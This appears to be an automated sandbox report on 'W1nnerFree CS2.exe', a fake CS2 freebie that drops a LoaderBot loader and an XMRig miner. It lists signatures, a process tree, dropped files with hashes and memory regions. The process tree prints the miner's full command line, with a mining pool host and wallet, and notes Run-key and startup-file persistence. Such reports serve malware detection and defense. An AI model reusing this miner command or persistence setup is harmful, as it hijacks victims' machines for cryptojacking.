Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/02/2024, 09:34

General

  • Target
    W1nnerFree CS2.exe
  • Size 21.4MB
  • Sample240219-ljsnrsca98
  • SHA256 0fa48a6368effe6c9373dd34f9f26bf7f0a2050aab330cefc5acc6de5030ecb6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 4 IoCs
  • XMRig Miner payload 16 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\W1nnerFree CS2.exe
    "C:\Users\Admin\AppData\Local\Temp\W1nnerFree CS2.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:660
    • C:\Users\Admin\AppData\Roaming\1337\ExLoader_Installer.exe
      "C:\Users\Admin\AppData\Roaming\1337\ExLoader_Installer.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1092
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\ExLoader_Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\ExLoader_Installer.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3132
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /C C:\Windows\System32\reg.exe query HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography /v MachineGuid
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3360
          • C:\Windows\System32\reg.exe
            C:\Windows\System32\reg.exe query HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography /v MachineGuid
            5⤵
              PID:2896
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /C C:\Windows\System32\reg.exe query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4440
      • C:\Users\Admin\AppData\Roaming\1337\MinerMega.exe
        "C:\Users\Admin\AppData\Roaming\1337\MinerMega.exe"
        2⤵
        • Checks computer location settings
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5000
        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4480
        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:524
    • C:\Windows\System32\reg.exe
      C:\Windows\System32\reg.exe query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
      1⤵
        PID:1788

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            ExLoader_Installer.exe

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\ExLoader_Installer.exe
            • Size 58KB
            • SHA256 c88286e59963a4b460864a3f76321b9bb645a2cc43ddc05bbcc26fbe002fdd6e
            • MD5 SHA1 SHA512 SSDEEP

            ExLoader_Installer.exe

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\ExLoader_Installer.exe
            • Size 160KB
            • SHA256 03377f1e71e58a58646b9443fa86c8d5e27d5457b08976b07c44a192b210f93b
            • MD5 SHA1 SHA512 SSDEEP

            VCRUNTIME140.dll

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\VCRUNTIME140.dll
            • Size 94KB
            • SHA256 0373c0cd6856950dee1b1a9e3ddb896099c6c823f6e46dc00802fed19dbd58d0
            • MD5 SHA1 SHA512 SSDEEP

            d3dcompiler_47.dll

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\d3dcompiler_47.dll
            • Size 1.8MB
            • SHA256 8afb8cdfb3a86be92c81753f49cb856f0dbd72d3451d16687b653eabf9acef68
            • MD5 SHA1 SHA512 SSDEEP

            d3dcompiler_47.dll

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\d3dcompiler_47.dll
            • Size 1.5MB
            • SHA256 1550d47e3e3cc0cb3ac1afa4d4cafdf5b28cd60864d94c1cb40986e428fe8726
            • MD5 SHA1 SHA512 SSDEEP

            app.so

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\app.so
            • Size 2.9MB
            • SHA256 d1df1ef0581c3531c60041cfbf5af264cb39fdcb5c5207a023d63fe28c5f9e2a
            • MD5 SHA1 SHA512 SSDEEP

            AssetManifest.bin

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\AssetManifest.bin
            • Size 36KB
            • SHA256 f50d907a3487cfbff2fe04f6eca8f38c968d52c971c8044a9e9d39286becf735
            • MD5 SHA1 SHA512 SSDEEP

            FontManifest.json

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\FontManifest.json
            • Size 687B
            • SHA256 ef252f80a090c0ae1499c34148c27f3e982100b25c8daa9921d102343383f751
            • MD5 SHA1 SHA512

            Warcraft.jpg

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\resources\backgrounds\Warcraft.jpg
            • Size 52KB
            • SHA256 2e58bd1444d8452ba963e877601e8942a1560abdd44c16ed33580148322234ba
            • MD5 SHA1 SHA512 SSDEEP

            RE.png

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\resources\flags\RE.png
            • Size 2KB
            • SHA256 94a0c4bc3aa825e44d36b0a463f9bfb012c2156392594a8ac6d76b389776e3a9
            • MD5 SHA1 SHA512

            SJ.png

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\resources\flags\SJ.png
            • Size 2KB
            • SHA256 0dd0e0a0d72ff4179b11afd5367a72b000de4a5c5ea0362f1f1723f80a3a2d22
            • MD5 SHA1 SHA512

            Raleway-Black.ttf

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\resources\fonts\Raleway-Black.ttf
            • Size 159KB
            • SHA256 2d1149ca6075e3559fa4234107474b3b500bc479baa0bdaa8a99563a587c62f5
            • MD5 SHA1 SHA512 SSDEEP

            Raleway-Bold.ttf

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\resources\fonts\Raleway-Bold.ttf
            • Size 159KB
            • SHA256 85c6a818e33ae8b62d15672522c0b12f2e602680f75c4414ee815a73596ad365
            • MD5 SHA1 SHA512 SSDEEP

            Raleway-ExtraBold.ttf

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\resources\fonts\Raleway-ExtraBold.ttf
            • Size 159KB
            • SHA256 118e237edf796dd76c453e912a4f445816e918bc3ff1d3941b2548c0a8fdfe29
            • MD5 SHA1 SHA512 SSDEEP

            Raleway-Medium.ttf

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\resources\fonts\Raleway-Medium.ttf
            • Size 159KB
            • SHA256 f5a6dcd3227d1a75db47a6770e617d8077cba42c146d1d6479ae394431c7d40e
            • MD5 SHA1 SHA512 SSDEEP

            Raleway-SemiBold.ttf

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\resources\fonts\Raleway-SemiBold.ttf
            • Size 159KB
            • SHA256 564368e49d2d7d65005649278c3e042d6954df5e5dee3874a3b548ad067db0cc
            • MD5 SHA1 SHA512 SSDEEP

            close.svg

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\resources\icons\close.svg
            • Size 201B
            • SHA256 4a290648cd1cfaaf1db4909d7552ae8cb83cb0b0e36770e64d153ab07ce6e7d4
            • MD5 SHA1 SHA512

            collapse.svg

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\resources\icons\collapse.svg
            • Size 195B
            • SHA256 2e0eb48ef144b771903a2ee5096ac4305ef43c830d2905f46b0384a07f5f4090
            • MD5 SHA1 SHA512

            grain.png

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\flutter_assets\resources\images\grain.png
            • Size 79KB
            • SHA256 cc453dfe977598a839a52037ef947388e008e5cdfe91b1f1a4e85afb5509bee2
            • MD5 SHA1 SHA512 SSDEEP

            icudtl.dat

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\icudtl.dat
            • Size 798KB
            • SHA256 ac44ccc3f61bf630bb20fb8043d86cfe4c8995d06b460084400db45d70497b30
            • MD5 SHA1 SHA512 SSDEEP

            flutter_windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\flutter_windows.dll
            • Size 3.3MB
            • SHA256 be2cc8308ac5eaa837e0b433f1257e4eb7033f4d3bec1f8680b56f68c3b7ffbf
            • MD5 SHA1 SHA512 SSDEEP

            flutter_windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\flutter_windows.dll
            • Size 3.7MB
            • SHA256 cb8b9a911a525282bbf7be11d7ff1f688314d9033ceb1c3f7777a9501a2202a3
            • MD5 SHA1 SHA512 SSDEEP

            msvcp140.dll

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\msvcp140.dll
            • Size 554KB
            • SHA256 7bb664a486e941d0f6004ef1eb48773c7c5f1be5f1cbf1aa5f9819a215863d5d
            • MD5 SHA1 SHA512 SSDEEP

            vcruntime140_1.dll

            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\vcruntime140_1.dll
            • Size 36KB
            • SHA256 0d6f93c5d19530a1623798f936468bc0934c1795545dd000b8812539b3e308cf
            • MD5 SHA1 SHA512 SSDEEP

            System.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nss4CDA.tmp\System.dll
            • Size 11KB
            • SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
            • MD5 SHA1 SHA512 SSDEEP

            ExLoader_Installer.exe

            • Path C:\Users\Admin\AppData\Roaming\1337\ExLoader_Installer.exe
            • Size 2.5MB
            • SHA256 070ef381260160c8cb182f95bc00331f1b3489120704f172d4c83e16c619f69e
            • MD5 SHA1 SHA512 SSDEEP

            ExLoader_Installer.exe

            • Path C:\Users\Admin\AppData\Roaming\1337\ExLoader_Installer.exe
            • Size 1.6MB
            • SHA256 cfd1eee07d1b4c0f1260aacee5a284196553df0ecd2805db64a02415d3cf20a3
            • MD5 SHA1 SHA512 SSDEEP

            ExLoader_Installer.exe

            • Path C:\Users\Admin\AppData\Roaming\1337\ExLoader_Installer.exe
            • Size 6.0MB
            • SHA256 141896803703cc2d421ac10c35e6adfb4e6feb9fb112e5d2a7603d3c072c89c7
            • MD5 SHA1 SHA512 SSDEEP

            MinerMega.exe

            • Path C:\Users\Admin\AppData\Roaming\1337\MinerMega.exe
            • Size 2.1MB
            • SHA256 e3e2f19a10f8806fc8f24cfaf242060cb69affa1791a0a50da57ef6dd0f809e9
            • MD5 SHA1 SHA512 SSDEEP

            MinerMega.exe

            • Path C:\Users\Admin\AppData\Roaming\1337\MinerMega.exe
            • Size 1.9MB
            • SHA256 0a46d3424737edc8e15817774e260d471a272d42938e38dbebf89a923ccb9995
            • MD5 SHA1 SHA512 SSDEEP

            MinerMega.exe

            • Path C:\Users\Admin\AppData\Roaming\1337\MinerMega.exe
            • Size 2.3MB
            • SHA256 c3310dc33f4726e9421d753e41eb7dd0bca0b2180a4affdc28ebcd43554889ef
            • MD5 SHA1 SHA512 SSDEEP

            Driver.exe

            • Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            • Size 612KB
            • SHA256 b2a96cba7b20bd1e404150c2f2685314cc19e3c396a2e31f8aaaf5457f868caa
            • MD5 SHA1 SHA512 SSDEEP

            Driver.exe

            • Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            • Size 341KB
            • SHA256 bf1e1bb764b49a0bf0a3e2875f6e361fe4f11a669bb2b4f20b2de42adcaf62ea
            • MD5 SHA1 SHA512 SSDEEP

            Driver.exe

            • Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            • Size 333KB
            • SHA256 48b4ba2c114479639e59528971188bc229321af3035148963050e6ba9ddb5d2b
            • MD5 SHA1 SHA512 SSDEEP

            Driver.exe

            • Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            • Size 780KB
            • SHA256 c5358ac6ab1238c1af59ef0916effc4c5ee193fadab048b828d623f7b9cd035c
            • MD5 SHA1 SHA512 SSDEEP

            shared_preferences.json

            • Path C:\Users\Admin\AppData\Roaming\com.swiftsoft\ExLoader_Installer\shared_preferences.json
            • Size 246B
            • SHA256 51562617bded054c697111387bc0533699a28d99c5e74401e2dda81491e83733
            • MD5 SHA1 SHA512

            memory/524-1189-0x0000000000540000-0x0000000000560000-memory.dmp

            memory/524-1192-0x0000000002010000-0x0000000002030000-memory.dmp

            memory/524-1214-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1213-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1212-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1205-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1204-0x00000000137E0000-0x0000000013800000-memory.dmp

            memory/524-1203-0x00000000134B0000-0x00000000134D0000-memory.dmp

            memory/524-1211-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1210-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1209-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1202-0x0000000002030000-0x0000000002050000-memory.dmp

            memory/524-1201-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1190-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1191-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1206-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1208-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1194-0x0000000002030000-0x0000000002050000-memory.dmp

            memory/524-1195-0x00000000134B0000-0x00000000134D0000-memory.dmp

            memory/524-1207-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1197-0x00000000137E0000-0x0000000013800000-memory.dmp

            memory/524-1198-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1199-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/524-1200-0x0000000002010000-0x0000000002030000-memory.dmp

            memory/3132-1130-0x00000244ED3D0000-0x00000244EE1CD000-memory.dmp

            memory/3132-1131-0x00000244ED290000-0x00000244ED291000-memory.dmp

            memory/3132-1129-0x00000244ED3D0000-0x00000244EE1CD000-memory.dmp

            memory/3132-1128-0x00000244ED3D0000-0x00000244EE1CD000-memory.dmp

            memory/3132-1127-0x00000244EB180000-0x00000244EB181000-memory.dmp

            memory/4480-1186-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/4480-1185-0x0000000000440000-0x0000000000454000-memory.dmp

            memory/4480-1183-0x0000000140000000-0x0000000140B75000-memory.dmp

            memory/5000-1196-0x00000000030B0000-0x00000000030C0000-memory.dmp

            memory/5000-1193-0x0000000073AA0000-0x0000000074250000-memory.dmp

            memory/5000-27-0x0000000073AA0000-0x0000000074250000-memory.dmp

            memory/5000-1172-0x0000000005C20000-0x0000000005C86000-memory.dmp

            memory/5000-1173-0x00000000030B0000-0x00000000030C0000-memory.dmp

            memory/5000-26-0x0000000000A90000-0x0000000000E8E000-memory.dmp